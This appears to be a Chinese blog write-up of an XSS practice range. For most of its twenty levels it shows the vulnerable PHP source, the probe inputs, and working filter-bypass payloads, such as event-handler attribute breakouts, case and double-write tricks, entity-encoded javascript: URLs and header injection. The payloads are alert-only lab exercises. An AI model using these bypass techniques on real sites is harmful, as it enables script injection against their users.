zoukankan      html  css  js  c++  java
  • xss靶场详解

    一个XSS靶场练习记录
    https://blog.csdn.net/qq_41500251/article/details/101116697


    001.level 1 反射型

    1、观察源码

    <script>
    window.alert = function()  
    {     
    confirm("完成的不错!");
     window.location.href="level2.php?keyword=test"; 
    }
    </script>
    

    修改?name=<script>alert()</script>即可

    002.level 2

    1、测试输入
    输入123
    输出
    全部输出

    输入特殊字符
    '<>?"/6666
    查看页面源码
    app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219194808.png?1609079862970
    实体化了< > "

    2、尝试构造payload
    原:<input name=keyword value="123">
    payload:" onclick=alert("xss")>
    成功弹窗

    疑问:为什么我使用了过滤的字符,依旧可以执行呢?
    查看后台源码

    $str = $_GET["keyword"];
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form action=level2.php method=GET>
    <input name=keyword  value="'.$str.'">
    <input type=submit name=submit value="搜索"/>
    

    可以发现,没有找到和".htmlspecialchars($str)."相关的结果,使用了过滤,而<input name=keyword value="'.$str.'">并没有过滤,即,该题是伪过滤,

    总结找到鼠标单击的区域的方:
    $color{red}{右键打开firebug查看元素}$

    003.level 3

    1、测试输入
    输入123
    查看页面源码
    <input name=keyword value='123'>

    输入特殊字符
    '<>?:"/6666
    查看页面源码
    <input name=keyword value=''&lt;&gt;?:&quot;/6666'>
    对< > "过滤

    2、尝试构造payload
    'onclick=alert(0) '
    再点击搜索框即可

    004.level 4

    1、测试输入
    输入123
    查看页面源码
    <input name=keyword value="123">
    易知需要”闭合

    输入特殊字符
    '<>?:"/6666
    查看页面源码
    app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219213502.png?1609079862997
    过滤了< >

    2、构造payload
    " onclick=alert(0)
    通过

    3、查看后端源码

    $str = $_GET["keyword"];
    $str2=str_replace(">","",$str);
    $str3=str_replace("<","",$str2);
    

    005.level 5

    1、测试输入
    输入123
    查看页面源码
    易知需要 ” 闭合

    输入特殊字符
    '<>?:"/6666
    没有进行过滤

    2、构造payload
    <script>alert(1)</script>
    没有弹窗,查看页面源码
    <input name=keyword value="" <scr_ipt>alert(1)</script> ">
    发现script中间插入 _

    使用其他方法绕过
    " onclick=alert(0)
    查看页面源码
    <input name=keyword value="" o_nclick=alert(0) ">
    发现on中间插入 _

    使用其他方法绕过
    > <a href='javascript:alert(0)'>111</a>

    006.level 6

    1、测试输入
    输入123456
    查看页面源码
    易知需要 ” 闭合

    输入特殊字符
    '<>?:"/6666
    没有进行过滤
    页面源码

    <h2 align=center>没有找到和123456相关的结果.</h2><center>
    <form action=level6.php method=GET>
    <input name=keyword  value="123456">
    

    2、构造payload
    " > <script>alert(1)</script>
    页面显示

    <form action=level6.php method=GET>
    <input name=keyword  value="" > <scr_ipt>alert(1)</script> ">
    

    可知关键字script被过滤了

    尝试绕过
    " > <ScRipt>alert(1)</sCript>
    成功

    007.level 7

    1、测试输入
    输入123456
    查看页面源码
    易知需要 ” 闭合

    输入特殊字符
    '<>?:"/6666
    没有进行过滤

    输入关键字
    script on src data href
    页面源码

    <form action=level7.php method=GET>
    <input name=keyword  value="        ">
    

    全部替换成空

    尝试大小写绕过
    sCripT On sRc dAta Href
    同样全部替换成空

    2、构造payload
    " > <scrscriptipt>alert(1)</sscriptcript>
    成功

    008.level 8

    1、测试输入
    输入123456
    查看页面源码
    </center><center><BR><a href="123456">友情链接</a></center><center>
    易知需要 ” 闭合

    输入特殊字符
    '<>?:"/6666
    查看页面源码
    </center><center><BR><a href="'<>?:&quot/6666">友情链接</a></center><center>
    过滤了 "

    输入关键字 并大小写
    script sCripT on On src sRc data dAta href Href
    全部过滤了
    </center><center><BR><a href="scr_ipt o_n sscr_ipt scr_ipt o_n o_n sr_c sr_c da_ta da_ta hr_ef hr_efrc da_ta hr_ef">友情链接</a></center><center>

    尝试双写绕过
    scrscriptipt oonn ssrcrc ddataata hhrefref
    全部过滤了
    </center><center><BR><a href="scrscr_iptipt oo_nn ssr_crc dda_taata hhr_efref">友情链接</a></center><center><img src=level8.jpg></center>

    尝试使用HTML实体编码绕过
    &#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;
    成功弹窗

    另外一种解法
    对一下进行HTML编码
    >友情链接</a></center><center><img src=level8.jpg></center> <script>alert(0)</script>
    &#x3E;&#x53CB;&#x60C5;&#x94FE;&#x63A5;&#x3C;&#x2F;&#x61;&#x3E;&#x3C;&#x2F;&#x63;&#x65;&#x6E;&#x74;&#x65;&#x72;&#x3E;&#x3C;&#x63;&#x65;&#x6E;&#x74;&#x65;&#x72;&#x3E;&#x3C;&#x69;&#x6D;&#x67;&#x20;&#x73;&#x72;&#x63;&#x3D;&#x6C;&#x65;&#x76;&#x65;&#x6C;&#x38;&#x2E;&#x6A;&#x70;&#x67;&#x3E;&#x3C;&#x2F;&#x63;&#x65;&#x6E;&#x74;&#x65;&#x72;&#x3E;&#x20;&#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x30;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;
    失败,不知为什么。。

    009.level 9

    1、测试输入
    输入123456
    查看页面源码
    </center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>
    进行过滤了

    输入特殊字符
    '<>?:"/6666
    查看页面源码
    </center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>
    进行过滤了

    不太对劲,查看后台源码

    if(false===strpos($str7,'http://'))
    {
      echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
            }
    else
    {
      echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
    }
    

    会检查是否存在http://

    2、构造payload
    javascript:alert("http:// ")
    发现对script进行过滤
    java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(&#x22;http:// &#x22;)
    成功

    010.level 10

    1、测试输入
    输入123456
    查看页面源码

    <h1 align=center>欢迎来到level10</h1>
    <h2 align=center>没有找到和123456!相关的结果.</h2><center>
    <form id=search>
    <input name="t_link"  value="" type="hidden">
    <input name="t_history"  value="" type="hidden">
    <input name="t_sort"  value="" type="hidden">
    </form>
    

    查看后台源码

    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    $str11 = $_GET["t_sort"];
    $str22=str_replace(">","",$str11);
    $str33=str_replace("<","",$str22);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form id=search>
    <input name="t_link"  value="'.'" type="hidden">
    <input name="t_history"  value="'.'" type="hidden">
    <input name="t_sort"  value="'.$str33.'" type="hidden">
    </form>
    </center>';
    ?>
    

    发现后台获取两个参数,且t_sort可以利用,并且过滤了< >字符

    2、构造payload

    ?t_sort=0" onclick=alert(1) type="text"
    

    011.level 11

    1、猜测同上一题
    查看后台源码

    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    $str00 = $_GET["t_sort"];
    $str11=$_SERVER['HTTP_REFERER'];
    $str22=str_replace(">","",$str11);
    $str33=str_replace("<","",$str22);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form id=search>
    <input name="t_link"  value="'.'" type="hidden">
    <input name="t_history"  value="'.'" type="hidden">
    <input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
    <input name="t_ref"  value="'.$str33.'" type="hidden">
    </form>
    </center>';
    ?>
    

    可知,后台从http请求头获得了referer参数

    2、构造payload
    " onmouseover=alert(11) type="text"

    012.level 12

    1、查看源码

    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    $str00 = $_GET["t_sort"];
    $str11=$_SERVER['HTTP_USER_AGENT'];
    $str22=str_replace(">","",$str11);
    $str33=str_replace("<","",$str22);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form id=search>
    <input name="t_link"  value="'.'" type="hidden">
    <input name="t_history"  value="'.'" type="hidden">
    <input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
    <input name="t_ua"  value="'.$str33.'" type="hidden">
    </form>
    </center>';
    ?>
    

    从HTTP_USER_AGENT获得参数值

    2、构造payload
    " onmouseover=alert(0) type=""

    013.level 13

    1、查看源码

    <?php 
    setcookie("user", "call me maybe?", time()+3600);
    ini_set("display_errors", 0);
    $str = $_GET["keyword"];
    $str00 = $_GET["t_sort"];
    $str11=$_COOKIE["user"];
    $str22=str_replace(">","",$str11);
    $str33=str_replace("<","",$str22);
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
    <form id=search>
    <input name="t_link"  value="'.'" type="hidden">
    <input name="t_history"  value="'.'" type="hidden">
    <input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
    <input name="t_cook"  value="'.$str33.'" type="hidden">
    </form>
    </center>';
    ?>
    

    从cookie中获得user参数的值

    2、构造payload
    " onmouseover=alert(0) type=""

    014.level 14

    查看教程
    这关是利用修改exif信息,在exif信息中写入xss代码,然后上传上去,别人点击这个图片就会中招。

    暂时跳过

    015.level 15

    1、查看源码

    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["src"];
    echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
    ?>
    

    ng-include指令用于包含外部的 HTML 文件。即'.htmlspecialchars($str).'

    2、构造payload
    ?src='./level1.php'
    失败,暂时跳过

    016.level 16

    1、刷新,抓包,
    <center>test</center><center><img src=level16.png></center>

    没办法,只好看后台源码

    <?php 
    ini_set("display_errors", 0);
    $str = strtolower($_GET["keyword"]);
    $str2=str_replace("script","&nbsp;",$str);
    $str3=str_replace(" ","&nbsp;",$str2);
    $str4=str_replace("/","&nbsp;",$str3);
    $str5=str_replace("	","&nbsp;",$str4);
    echo "<center>".$str5."</center>";
    ?>
    

    先小写,过滤script,空格,/

    2、构造payload
    ?keyword=<svg%0aonload=alert(0) ></svg>
    ?keyword=<svg%0onmouseover=alert(0) ></svg>

    017.level 17

    1、观察url,测试输入
    ?arg01=123&arg02=456
    页面源码
    <embed src=xsf01.swf?123=456 width=100% heigth=100%>

    输入特殊字符
    ?arg01='<>?:"/6666&arg02='<>?:"/6666
    页面源码
    <embed src=xsf01.swf?'&lt;&gt;?:&quot;/6666='&lt;&gt;?:&quot;/6666 width=100% heigth=100%>
    易知过滤了< > "

    输入关键字
    ?arg01=script sCripT on On src sRc data dAta href Href&arg02=456
    页面源码
    <embed src=xsf01.swf?script sCripT on On src sRc data dAta href Href=456 width=100% heigth=100%>

    2、构造payload
    ?arg01=123&arg02=456 onclick=alert(0)
    成功

    018.level 18

    解题过程同上

    019.level 19

    1、观察url,测试输入
    ?arg01=123&arg02=456
    页面源码
    <embed src="xsf03.swf?123=456" width=100% heigth=100%>

    2、查资料,这个是flash xss,涉及到反编译,
    解题连接
    https://www.jianshu.com/p/4e3a517bc4ea
    后台源码

    <?php
    ini_set("display_errors", 0);
    echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
    ?>
    

    3、详细过程
    使用硕思闪客精灵
    将xsf03.swf导出为HTML5文件
    大致内容如下

    <!DOCTYPE HTML>
    <html>
    
    <head>
    <style>*{margin:0;padding:0;}</style>
    <meta charset="utf-8" />
    <title></title>
    </head>
    
    <body style="overflow:hidden;">
    
    <script>var data ={"Bg":"#FFFFFF","FV":"8","Fc":"1","Fh":"100","Fr":30.0,"Fw":"300","Ft":{"xi":0,"xm":300,"yi":0,"ym":100}....}
    </script>
    <script src="sprite.js"></script>
    
    </body>
    </html>
    

    并没有找到有用的信息
    跳过

    020.level 20

    跳过

  • 相关阅读:
    DATAX windows下安装及csv文件导入mysql简单案例
    JAVA质量属性之易用性战术分析
    以《淘宝网》为例,描绘质量属性的六个常见属性场景
    14 得到相关连的热词数据
    13 信息领域热词分析部分功能展示
    12 所学和感受
    从Android开发看MVC
    论面向服务架构(SOA)设计及其应用
    GitHub上快速创建文件夹
    GitHub将私有库(private)、公有库(public)相互转换
  • 原文地址:https://www.cnblogs.com/gorillalee/p/14199347.html
Copyright © 2011-2022 走看看